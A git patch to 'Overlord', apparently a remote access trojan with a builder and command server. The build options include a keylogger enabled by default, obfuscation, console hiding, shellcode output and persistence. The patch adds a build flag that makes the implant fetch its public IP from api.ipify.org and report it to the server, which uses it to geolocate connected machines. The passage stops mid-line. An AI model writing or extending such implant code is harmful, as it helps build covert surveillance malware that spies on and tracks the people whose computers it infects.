From da3bec8de1d3be13c9a138a52a929f10357db676 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 14 May 2026 19:56:50 -0500 Subject: [PATCH] optional public IP fetching --- Overlord-Client/cmd/agent/config/config.go | 8 ++++ Overlord-Client/cmd/agent/config/public_ip.go | 39 +++++++++++++++++++ .../cmd/agent/config/public_ip_stub.go | 5 +++ Overlord-Client/cmd/agent/session.go | 3 ++ Overlord-Client/cmd/agent/wire/protocol.go | 1 + Overlord-Server/public/assets/build.js | 3 ++ Overlord-Server/public/build.html | 10 +++++ Overlord-Server/src/protocol.ts | 1 + Overlord-Server/src/server/build-process.ts | 8 ++++ .../src/server/routes/build-routes.ts | 2 + Overlord-Server/src/wsHandlers.ts | 6 ++- 11 files changed, 85 insertions(+), 1 deletion(-) create mode 100644 Overlord-Client/cmd/agent/config/public_ip.go create mode 100644 Overlord-Client/cmd/agent/config/public_ip_stub.go diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 9cfba00..fc9ef62 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -32,6 +32,7 @@ var DefaultAgentToken = "" var DefaultBuildTag = "" var DefaultSleepSeconds = "0" var DefaultCriticalProcess = "false" +var DefaultFetchPublicIP = "false" const settingsFile = "config/settings.json" const serverIndexFile = "config/server_index.json" @@ -72,6 +73,7 @@ type Config struct { AgentToken string BuildTag string SleepSeconds int + FetchPublicIP bool } func Load() Config { @@ -169,6 +171,11 @@ func Load() Config { criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true" + fetchPublicIP := isTruthy(DefaultFetchPublicIP) + if v := strings.TrimSpace(os.Getenv("OVERLORD_FETCH_PUBLIC_IP")); v != "" { + fetchPublicIP = isTruthy(v) + } + tlsInsecureSkipVerify := true if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" { tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes" @@ -215,6 +222,7 @@ func Load() Config { AgentToken: agentToken, BuildTag: strings.TrimSpace(DefaultBuildTag), SleepSeconds: parseSleepSeconds(DefaultSleepSeconds), + FetchPublicIP: fetchPublicIP, } } diff --git a/Overlord-Client/cmd/agent/config/public_ip.go b/Overlord-Client/cmd/agent/config/public_ip.go new file mode 100644 index 0000000..a2a85c5 --- /dev/null +++ b/Overlord-Client/cmd/agent/config/public_ip.go @@ -0,0 +1,39 @@ +//go:build fetch_public_ip + +package config + +import ( + "encoding/json" + "io" + "net" + "net/http" + "strings" + "time" +) + +func FetchPublicIPAddress() string { + client := &http.Client{Timeout: 5 * time.Second} + resp, err := client.Get("https://api.ipify.org?format=json") + if err != nil { + return "" + } + defer resp.Body.Close() + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return "" + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 256)) + if err != nil { + return "" + } + var payload struct { + IP string `json:"ip"` + } + if err := json.Unmarshal(body, &payload); err != nil { + return "" + } + ip := strings.TrimSpace(payload.IP) + if net.ParseIP(ip) == nil { + return "" + } + return ip +} diff --git a/Overlord-Client/cmd/agent/config/public_ip_stub.go b/Overlord-Client/cmd/agent/config/public_ip_stub.go new file mode 100644 index 0000000..e011cdb --- /dev/null +++ b/Overlord-Client/cmd/agent/config/public_ip_stub.go @@ -0,0 +1,5 @@ +//go:build !fetch_public_ip + +package config + +func FetchPublicIPAddress() string { return "" } diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index b28bd0c..d2ece55 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -653,6 +653,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.Elevation = sysinfo.Elevation() hello.Permissions = sysinfo.DarwinPermissions() hello.HostArch = sysinfo.HostArch() + if cfg.FetchPublicIP { + hello.PublicIP = config.FetchPublicIPAddress() + } if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 866280f..3c9934e 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -23,6 +23,7 @@ type Hello struct { IsAdmin bool `msgpack:"isAdmin,omitempty"` Elevation string `msgpack:"elevation,omitempty"` Permissions map[string]bool `msgpack:"permissions,omitempty"` + PublicIP string `msgpack:"publicIP,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index ccf136f..f587656 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -127,6 +127,7 @@ function collectFormSettings() { noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, + fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, @@ -185,6 +186,7 @@ function applyFormSettings(settings) { if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); + if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny); @@ -1456,6 +1458,7 @@ form?.addEventListener("submit", async (e) => { noPrinting, disableKeylogger: !enableKeylogger, enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false, + fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false, outputName: outputNameVal || undefined, garbleLiterals: obfuscate ? garbleLiterals : undefined, garbleTiny: obfuscate ? garbleTiny : undefined, diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 9ef5117..781970c 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -449,6 +449,16 @@ + + diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index ca4ec6c..1e49da4 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -31,6 +31,7 @@ export type Hello = { country?: string; publicKey?: string; signature?: string; + publicIP?: string; }; export type EnrollmentChallenge = { diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 14768f3..8049ce7 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -113,6 +113,7 @@ type BuildProcessConfig = { solAddress?: string; solRpcEndpoints?: string; iosBundleId?: string; + fetchPublicIP?: boolean; }; @@ -831,6 +832,12 @@ func runBoundFiles() { sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" }); } + if (config.fetchPublicIP) { + const publicIPFlag = "-X overlord-client/cmd/agent/config.DefaultFetchPublicIP=true"; + ldflags = ldflags ? `${ldflags} ${publicIPFlag}` : publicIPFlag; + sendToStream({ type: "output", text: "Public IP lookup enabled (api.ipify.org)\n", level: "info" }); + } + if (config.hideConsole && os === "windows") { const hideConsoleFlag = "-H=windowsgui"; ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag; @@ -926,6 +933,7 @@ func runBoundFiles() { if (hasBoundFiles) baseTags.push("hasbinder"); if (isIosTarget) baseTags.push("ios_target"); if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console"); + if (config.fetchPublicIP) baseTags.push("fetch_public_ip"); // Windows persistence tags (omitted in shellcode mode — handled by two-pass below) const winPersistTags: string[] = []; diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 39849ff..267ee3f 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -115,6 +115,7 @@ export async function handleBuildRoutes( useDonut, useLinuxShellcode, shellcodeConsole, + fetchPublicIP, } = body; if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { @@ -386,6 +387,7 @@ export async function handleBuildRoutes( useDonut: !!useDonut, useLinuxShellcode: !!useLinuxShellcode, shellcodeConsole: !!shellcodeConsole, + fetchPublicIP: !!fetchPublicIP, }).finally(() => { if (rateLimitActive) recordBuildEnd(user.userId); }); diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 3858bb5..367ae6a 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -110,6 +110,10 @@ export async function handleHello( if (ip) { info.ip = ip; } + const reportedPublicIP = sanitizeInfoString((payload as any).publicIP, 64); + if (reportedPublicIP && /^[0-9a-fA-F:.]{3,45}$/.test(reportedPublicIP)) { + info.ip = reportedPublicIP; + } info.hwid = sanitizeInfoString((payload as any).hwid); info.host = sanitizeInfoString(payload.host); info.os = sanitizeInfoString(payload.os); @@ -139,7 +143,7 @@ export async function handleHello( info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu; info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram; const geoip = await getGeoip(); - const geo = ip ? geoip.lookup(ip) : undefined; + const geo = info.ip ? geoip.lookup(info.ip) : undefined; const countryRaw = geo?.country || (payload as any).country || info.country || "ZZ"; const country = /^[A-Z]{2}$/i.test(countryRaw)